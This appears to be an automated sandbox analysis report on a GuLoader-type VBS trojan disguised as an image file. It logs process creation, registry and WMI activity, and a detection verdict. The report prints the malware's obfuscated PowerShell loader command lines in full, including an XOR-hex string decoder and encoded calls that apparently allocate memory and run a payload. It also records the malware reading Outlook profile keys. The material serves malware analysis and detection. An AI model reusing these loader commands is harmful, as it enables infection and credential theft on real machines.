Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$HS); $Bytes = New-Object byte[] ($HS.Length / 2); For($i=0; $i -lt $HS.Length; $i+=2){ $Bytes[$i/2] = [convert]::ToByte($HS.Substring($i, 2), 16); $Bytes[$i/2] = ($Bytes[$i/2] -bxor 229); } [String][System.Text.Encoding]::ASCII.GetString($bytes);}$Hdlc0=HTB 'B69C96918088CB818989';$Hdlc1=HTB 'A88C86978A968A8391CBB28C8BD6D7CBB08B96848380AB84918C9380A880918D8A8196';$Hdlc2=HTB 'A28091B5978A86A4818197809696';$Hdlc3=HTB 'B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083';$Hdlc4=HTB '9691978C8B82';$Hdlc5=HTB 'A28091A88A81908980AD848B818980';$Hdlc6=HTB 'B7B1B69580868C8489AB848880C9C5AD8C8180A79CB68C82C9C5B59087898C86';$Hdlc7=HTB 'B7908B918C8880C9C5A8848B84828081';$Hdlc8=HTB 'B78083898086918081A180898082849180';$Hdlc9=HTB 'AC8BA880888A979CA88A81908980';$Styrketrne0=HTB 'A89CA180898082849180B19C9580';$Styrketrne1=HTB 'A689849696C9C5B59087898C86C9C5B68084898081C9C5A48B968CA689849696C9C5A490918AA689849696';$Styrketrne2=HTB 'AC8B938A8E80';$Styrketrne3=HTB 'B59087898C86C9C5AD8C8180A79CB68C82C9C5AB8092B6898A91C9C5B38C9791908489';$Styrketrne4=HTB 'B38C9791908489A489898A86';$Styrketrne5=HTB '8B91818989';$Styrketrne6=HTB 'AB91B5978A91808691B38C9791908489A880888A979C';$Styrketrne7=HTB 'ACA0BD';$Styrketrne8=HTB 'B9';function fkp {Param ($v_m, $v_p) ;$Leucifer0 =HTB 'C193908B88C5D8C5CDBEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA28091A49696808887898C8096CDCCC599C5B28D809780C8AA878F808691C59EC5C1BACBA2898A878489A49696808887899CA684868D80C5C8A48B81C5C1BACBA98A8684918C8A8BCBB695898C91CDC1B6919C978E8091978B80DDCCBEC8D4B8CBA09490848996CDC1AD818986D5CCC598CCCBA28091B19C9580CDC1AD818986D4CC';&($Styrketrne7) $Leucifer0;$Leucifer5 = HTB 'C1938497BA829584C5D8C5C193908B88CBA28091A880918D8A81CDC1AD818986D7C9C5BEB19C9580BEB8B8C5A5CDC1AD818986D6C9C5C1AD818986D1CCCC';&($Styrketrne7) $Leucifer5;$Leucifer1 = HTB '97809190978BC5C1938497BA829584CBAC8B938A8E80CDC18B908989C9C5A5CDBEB69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083B8CDAB8092C8AA878F808691C5B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083CDCDAB8092C8AA878F808691C5AC8B91B59197CCC9C5CDC193908B88CBA28091A880918D8A81CDC1AD818986D0CCCCCBAC8B938A8E80CDC18B908989C9C5A5CDC193BA88CCCCCCCCC9C5C193BA95CCCC';&($Styrketrne7) $Leucifer1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] [Type] $vrt = [Void]);$Leucifer2 = HTB 'C1B3B1A7C5D8C5BEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA180838C8B80A19C8B84888C86A49696808887899CCDCDAB8092C8AA878F808691C5B69C96918088CBB78083898086918C8A8BCBA49696808887899CAB848880CDC1AD818986DDCCCCC9C5BEB69C96918088CBB78083898086918C8A8BCBA0888C91CBA49696808887899CA7908C89818097A48686809696B8DFDFB7908BCCCBA180838C8B80A19C8B84888C86A88A81908980CDC1AD818986DCC9C5C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Internet Explorer\ieinstal.exe C:\Program Files (x86)\internet explorer\ieinstal.exe
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Bichloride.vbs"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Badeanstalt = """reFLiuEfnBrcExtApiHjoStnBu HyHFlTDuBSp su{Hi Cl An Pa BapinaCarZiaSomVo(Cz[PaSDetalrCaiennOugDe]Ca`$UdHBaSUd)Fr;Ag At Ud Ho Af`$UsBeuyAktNoePasBo Sa=Sn ThNAneNowBo-MuOGrbEpjLoeDdcBetHu TobPayVrtSeeLa[Al]Po Bd(Me`$VaHTnSDe.ReLPeeNonVegMatunhSl Re/Sk Di2Gi)Ko;Un ge Ma Is GeFFloLerWi(fe`$HaiOp=om0Pe;Fu Ma`$PhiDo Ge-MaltitSe Fa`$SyHBeSBa.DoLUneDenScgDotUnhCa;Do Un`$reiom+Re=Be2Du)Va{Fl Pl Re Ad Ot ta Sp Sk Ho`$DoBFeyDetLeegasSm[Fi`$geiAf/na2De]Od Ge=Sa Tr[RecSkoUnnLivKresirOrtBr]Il:Me:DaTDioDiBBoyPatGleSu(Po`$UsHHeSPh.boSFruAfbNesMatUnrPriPonUngLa(Il`$StiPa,Su Jo2Po)Ca,Bl Af1Sn6Du)No;Ma Te Un`$miBKryPrtCheGtsPa[Du`$SyiUn/Tr2Fi]Mi Ta=Ha Ah(Fo`$SiBbiyIntOpeovsOl[Kb`$spiHe/Ar2Fr]Fe Ci-FrbRexEnoPhrTi Hy2St2Re9La)lo;so Le De Ca Vr}Re Un[MuSkutSqrLaiApnNogBl]Pe[MaSChyInsDetpaeNemSt.VaTBaeKaxIbtBi.ReEManPlcGeourdPriMonPrgSy]Si:Ko:RaAUdSAkCWaIFoIsa.MoGBaeButTaSGutUnrFriUlnIngBa(Ba`$FobSeyPitTheAnsId)li;Bl}Ga`$DeHBrdSalUncIr0Sk=KrHOuTBeBAf Ry'BeBRe6te9SpCBe9Be6Pr9Gr1js8Et0Am8In8SeCEnBCa8co1In8Ta9Pr8Cr9De'Sy;Lu`$plHRvdaflFocIn1De=TrHDiTZiBVe Un'FeAKr8Re8TaCDe8Sl6Gr9Ag7is8XyASv9Sp6Sh8CaAHe8De3Bl9An1unCTiBteBAb2Ha8SmCUr8SuBCuDbu6LkDTi7MaCMeBSeBDe0As8TrBCh9Ah6Me8To4Pr8Ne3Fr8In0boAReBRa8st4Ti9Ve1un8ApCOp9dk3Bi8Co0SuACl8An8en0Un9In1Mo8DeDAn8PeAUd8Wu1Ra9Ca6Ba'Fo;El`$LoHBldNolSucBo2Ne=TnHBlTUnBSp Ne'siAFi2Sk8Ti0Di9Ul1tyBLo5Ob9Fi7no8ByACe8An6PoALa4Da8Bi1Ka8Im1Wh9Gt7lo8Ge0Rr9Br6Br9Di6Ar'Fl;gr`$CyHEidArlblcPr3pr=OvHenTnoBCo Ta'LeBUn6re9UpCGu9Sn6Gn9Fa1Br8Mo0Da8Pr8LyCOvBBeBwa7Sk9Fo0Sa8MaBDe9Ev1Af8KaCBa8Oc8Sc8He0NoCObBFoAToCDe8SiBSi9Se1Be8Or0Se9No7Fl8HuAOu9ty5RaBCo6Kr8Sk0dd9Se7As9Ri3Le8laCBr8we6Ou8Di0oc9Be6DaCKaBTeAUnDPu8Se4St8IsBEr8si1Ja8Ng9Li8Sp0FoBDi7Ci8Ex0Vi8st3sl'Sk;De`$FlHPedJalJdcTi4Ki=KlHStTPrBFo Ge'Th9fi6Af9Sy1Af9Re7He8CrCWi8FoBSt8Ov2Be'Bl;Al`$AnHIndaclFocBu5Ta=OvHDeTWhBUn Ca'UdADe2Sy8Pi0In9Af1CaARi8Ha8PrAno8Sl1Py9Du0Gn8Ki9Ud8Po0MuAUnDNe8No4Ud8EpBAc8vi1Bj8Sp9St8Op0An'Af;Se`$OrHBydGrlCicFo6hm=CeHSkTInBHa Di'FaBIn7ApBin1waBbe6Em9Re5sa8No0Wo8Ai6mi8MiCBa8Pa4Sh8El9NoAStBFo8Un4Ko8Om8Lo8Ro0StCfo9ChCco5SyAJuDAg8AfCCo8In1Ps8In0FrAMi7Se9LaCTaBBr6er8TiCAp8Hu2PoCEp9SuCLo5miBRe5Ps9No0Wa8Ko7St8Sa9po8FuCCr8Eg6No'in;Hu`$InHCadUdlRocSt7mi=ReHPrTroBZe da'NeBPa7Ri9Di0Un8chBgn9Ea1Ku8SkCMe8Pr8Su8Di0OvCKa9MoCSa5SwAUd8Un8Bl4si8DiBLy8Un4ur8Gl2Fa8Fi0wh8Ne1Sc'Wa;Dd`$DeHOpdSelNocAz8Tr=ByHDiTSiBPy ev'AvBUn7Di8tr0Om8In3Ma8Fr9pr8ud0Pr8Fe6Tr9Br1Sl8Mi0Gr8In1biAVe1Hy8Sv0Ur8Hv9Pl8Bl0Kl8Ph2Ni8Se4Fa9Fy1Xy8ch0Na'Sa;Dr`$CoHAfdDolVocEn9nd=PiHKoTAsBEf In'PsAPrCGl8MuBFeATa8Fo8Kp0Un8Re8Co8UnAMe9Bl7At9GlCFoAFr8ny8ElAMi8Ek1Fy9St0Ek8Mi9He8Vr0Me'Re;Sv`$ReSActInyKarRekGoeArtunrHynWaeMu0Ov=InHAlTEtBBo Sk'SkAde8Sh9DeCPrASh1Ri8Sc0Va8Re9Ko8Co0sc8Da2St8Af4By9Sy1mi8Af0SuBHo1St9FeCfl9An5Ma8Ob0Cl'tr;Fo`$beSBatDiyAnrSukReeWatOprSunTheSt1Ch=AsHBeTLiBSk Le'SpAma6hs8mo9No8Da4Ha9Sa6ve9Po6stCUn9KoCNe5EnBSq5Pi9St0lo8Rn7Ch8Tw9Ud8BrCHy8fo6UnCfu9roCPh5PrBPa6Tm8Fe0Mi8Or4bl8Pr9Ra8Fa0Pr8Us1GlCLy9	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function HTB { param([String]$HS); $Bytes = New-Object byte[] ($HS.Length / 2); For($i=0; $i -lt $HS.Length; $i+=2){ $Bytes[$i/2] = [convert]::ToByte($HS.Substring($i, 2), 16); $Bytes[$i/2] = ($Bytes[$i/2] -bxor 229); } [String][System.Text.Encoding]::ASCII.GetString($bytes);}$Hdlc0=HTB 'B69C96918088CB818989';$Hdlc1=HTB 'A88C86978A968A8391CBB28C8BD6D7CBB08B96848380AB84918C9380A880918D8A8196';$Hdlc2=HTB 'A28091B5978A86A4818197809696';$Hdlc3=HTB 'B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083';$Hdlc4=HTB '9691978C8B82';$Hdlc5=HTB 'A28091A88A81908980AD848B818980';$Hdlc6=HTB 'B7B1B69580868C8489AB848880C9C5AD8C8180A79CB68C82C9C5B59087898C86';$Hdlc7=HTB 'B7908B918C8880C9C5A8848B84828081';$Hdlc8=HTB 'B78083898086918081A180898082849180';$Hdlc9=HTB 'AC8BA880888A979CA88A81908980';$Styrketrne0=HTB 'A89CA180898082849180B19C9580';$Styrketrne1=HTB 'A689849696C9C5B59087898C86C9C5B68084898081C9C5A48B968CA689849696C9C5A490918AA689849696';$Styrketrne2=HTB 'AC8B938A8E80';$Styrketrne3=HTB 'B59087898C86C9C5AD8C8180A79CB68C82C9C5AB8092B6898A91C9C5B38C9791908489';$Styrketrne4=HTB 'B38C9791908489A489898A86';$Styrketrne5=HTB '8B91818989';$Styrketrne6=HTB 'AB91B5978A91808691B38C9791908489A880888A979C';$Styrketrne7=HTB 'ACA0BD';$Styrketrne8=HTB 'B9';function fkp {Param ($v_m, $v_p) ;$Leucifer0 =HTB 'C193908B88C5D8C5CDBEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA28091A49696808887898C8096CDCCC599C5B28D809780C8AA878F808691C59EC5C1BACBA2898A878489A49696808887899CA684868D80C5C8A48B81C5C1BACBA98A8684918C8A8BCBB695898C91CDC1B6919C978E8091978B80DDCCBEC8D4B8CBA09490848996CDC1AD818986D5CCC598CCCBA28091B19C9580CDC1AD818986D4CC';&($Styrketrne7) $Leucifer0;$Leucifer5 = HTB 'C1938497BA829584C5D8C5C193908B88CBA28091A880918D8A81CDC1AD818986D7C9C5BEB19C9580BEB8B8C5A5CDC1AD818986D6C9C5C1AD818986D1CCCC';&($Styrketrne7) $Leucifer5;$Leucifer1 = HTB '97809190978BC5C1938497BA829584CBAC8B938A8E80CDC18B908989C9C5A5CDBEB69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083B8CDAB8092C8AA878F808691C5B69C96918088CBB7908B918C8880CBAC8B9180978A95B68097938C868096CBAD848B818980B78083CDCDAB8092C8AA878F808691C5AC8B91B59197CCC9C5CDC193908B88CBA28091A880918D8A81CDC1AD818986D0CCCCCBAC8B938A8E80CDC18B908989C9C5A5CDC193BA88CCCCCCCCC9C5C193BA95CCCC';&($Styrketrne7) $Leucifer1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,[Parameter(Position = 1)] [Type] $vrt = [Void]);$Leucifer2 = HTB 'C1B3B1A7C5D8C5BEA49595A18A88848C8BB8DFDFA6909797808B91A18A88848C8BCBA180838C8B80A19C8B84888C86A49696808887899CCDCDAB8092C8AA878F808691C5B69C96918088CBB78083898086918C8A8BCBA49696808887899CAB848880CDC1AD818986DDCCCCC9C5BEB69C96918088CBB78083898086918C8A8BCBA0888C91CBA49696808887899CA7908C89818097A48686809696B8DFDFB7908BCCCBA180838C8B80A19C8B84888C86A88A81908980CDC1AD818986DCC9C5C	Jump to behavior
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Bichloride.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Damspils = """ReFGruKonNacSktDoiKloUtnHe GrHshTPuBMi Mi{G ud ho Pr HvpflaRurNoaVamSo(st[DeSBotOrrMoiAnnBogPh]Di`$HiHStSBl)Ro;Pa Ni vn Ra Sa`$InBvoyUntAlesisBe Sp=Af UnNBreGrwKr-ByOCabOmjcyeUncBytOr PrbGlyFotPreSt[Be]Av Fa(fo`$AlHDeSSt.MiLQueRinPegBatHahGe Te/Un Ev2Me)Ta;Sm Op Fo St ChFmooKurUn(Sc`$HaiDr=Di0Pr;Is Ly`$HaiPo Sn-OvlKitCo Dy`$FlHSpSpe.GyLSkeOknbrgCatSahAl;Ko Sp`$DeiTr+Da=sk2Ak)La{Ma Sp Wh Ko Gu Va St Ba Pt`$PrBUdySttAueBesUr[Hy`$OdiSt/Kf2Ar]Re Ka=De Ku[AbcFooTonPavToeUdrCotFu]je:Bo:SpTstoSkBGlyGrtPreUr(Su`$UiHDeSNo.caSpruCobOvsPotwerHyiLinTrgCu(St`$MaiMa,Le Di2My)In,Pa Pa1Az6No)Ju;Co Ba Rn`$GaBOpyTitSteBosDi[Au`$EliAd/As2Ma]Pa Ve=Tr Sh(Ci`$SpBAayTetOxeBosIn[Ra`$MaiOm/Ba2Am]Bo Do-TibDixGloMorPa En2Fr0ba1Om)He;Au Vg Re Mr as}Mi Mi[SuSKktTurspiFanMagOv]En[GrSInyHysCltCaeStmIn.StTPoeUdxUntKo.reEAfnThcUnoTrdariUnnRegTa]Be:Ka:OvASlSTrCPaIExIBr.DiGSaehatMiSOutAlrSpiTanSugBi(me`$ElbInyEttIneMasSu)Ci;By}Mi`$InRHaeGrcOvaGilSycTeiOptRhrRiaHitdieMe0Pi=LiHomTExBOv Sn'Ho9ThASnBVi0VaBAaARaBCiDplACoCGyAVo4OpEIn7WeAKoDPeAEx5OpAFr5Cu'bi;Ge`$EmRAfeBycDiaEmlUncheiAptrirExaHetsteBe1lb=GuHDaTGeBSk Le'Di8Rg4LyApr0InAViASpBReBBoACo6SiBSlAKoAFi6ScABrFMiBLiDSiEMo7Be9laEUnASt0BiAKo7WrFCaAUnFStBHoECh7Ra9ChCPaABe7SkBadAPaATr8HuAKeFskADoCkn8Sk7MaAPr8RoBCrDFoAPe0MeBLaFScAJuCNo8Te4BoAReCSpBDiDdeAun1BiATi6TuAWeDHeBIlARi'Im;Ga`$HoRIseMicCaaChlPocFoiTrtberDeaFltFoeXx2ma=RuHMeTOvBNo Pi'Ru8LyERaAObCMyBAnDUn9In9AnBIdBbaAHy6WiAspAUn8Pa8JoABiDFlASvDFaBDaBCiAbiCHaBjaAPrBanAFo'Ju;Sa`$MtRThehicHyaUnlCycSeiDetNorSnaEbtTeeDy3Ge=urHMaTPhBBu Ex'Si9AdABeBNa0OlBMiASkBBoDBrAMuCUnARu4HoECh7Be9SyBFoBusCOpAUn7FaBUnDSpAOp0haAAn4KiAReCSrESm7Ga8Ro0DoAGl7TiBfoDGlASiCYoBSuBDeAJo6FlBAi9Af9MaAKiASpCSaBFjBGaBFrFBnAsw0OvAWeACuAteCToBLaAOuEFo7Sa8Se1InATi8SpAEc7DeAFoDSaAOp5FoAAlCGi9CyBFiAReCKlADrFFe'Ko;Be`$ToRMaePrcNoaInlRecEtiMatInrWiaKotAleEx4Ga=FoHTiTBaBWe Un'OvBTrAHeBinDIlBPyBFaAEv0KoABe7AmAStEUn'Fo;Co`$SkRSeeVacobabrlincRyiDetGrrWhaChtFoeRa5Ba=ccHSpTAnBPr Au'In8VgEFnAPaCYpBMoDOm8Kl4RaAMu6DeACoDHuBHiCSnAHy5LoAGeCUd8Th1TrAFl8InAEn7TaAUnDBuAel5AfAKaCRe'Un;Af`$GaRDeeBocmyaMelMacKviOptMirHeaTrtPaeSa6Pl=HeHOmTKiBUl Ea'Ku9svBUb9LiDGe9NeASuBFe9foANaClaAInAHeAFy0FoAKh8CaATr5un8To7FlAEn8KoAHe4DoABiCdiEBl5HiEOi9Ha8Po1MaAfl0alATaDDiACiCAf8GiBSpBCa0ra9BuADuAAe0UdACaESjETr5GoEHa9Op9Ma9StBexCWoAStBKrARn5BeAFl0AmAarAAf'Uk;Jo`$TeRBaeRecNaaHolDrcJeiOmtImrOuaNotSoeKo7Re=SuHXyTRuBTa Tr'na9LiBFoBScCHuADe7AaBGrDJuACa0foAGi4AnAReCGlEYo5MaEKa9Or8Mi4deAIn8MoASj7EuAth8FuAFoEimAMeCUnABeDGi'Ty;do`$TeRFleVacInaMelUocPuiOvtWirLeaKntMneAn8St=TiHPaTPaBSt St'Tn9LiBChANoCLyAJoFLyAAs5DiAFaCViADmABoBCaDOpALvCGaAHiDPr8HaDVaAPoCOvAPo5TaANoCcrAPrEScACi8MeBApDnoAKaCLy'St;Un`$SmRFieSicSeaSelDicPaivatRarTeaPotReeDr9Ov=MeHDoTSiBSt ca'Ta8os0GlANo7Ro8Ch4PeATrCreAOp4BeASt6aaBAaBIlBAl0En8st4HoAFe6YeARaDlsBExCUnAUn5PrAPoCde'Fo;Ro`$StDnoeGomFgaSugcynKieretEviAmzPaaLmbBllUdePl0Co=PaHAlTAgBKi ma'Ba8Dr4noBSy0Sa8ToDHuAFrCTeAT	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5elcf2ed.d41.ps1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winVBS@16/7@22/4

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\97c421700557a331a31041b81ac3b698\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\e4a1c9189d2b01f018b953e46c80d120\mscorlib.ni.dll	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:120:WilError_03
Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exe	Mutant created: \Sessions\1\BaseNamedObjects\-0NDOIW
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7972:304:WilStaging_02
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8184:304:WilStaging_02

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\IMG_2022028022-0120.vbs"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 0000000D.00000000.3773940652.0000000000E00000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Obfuscated command line found

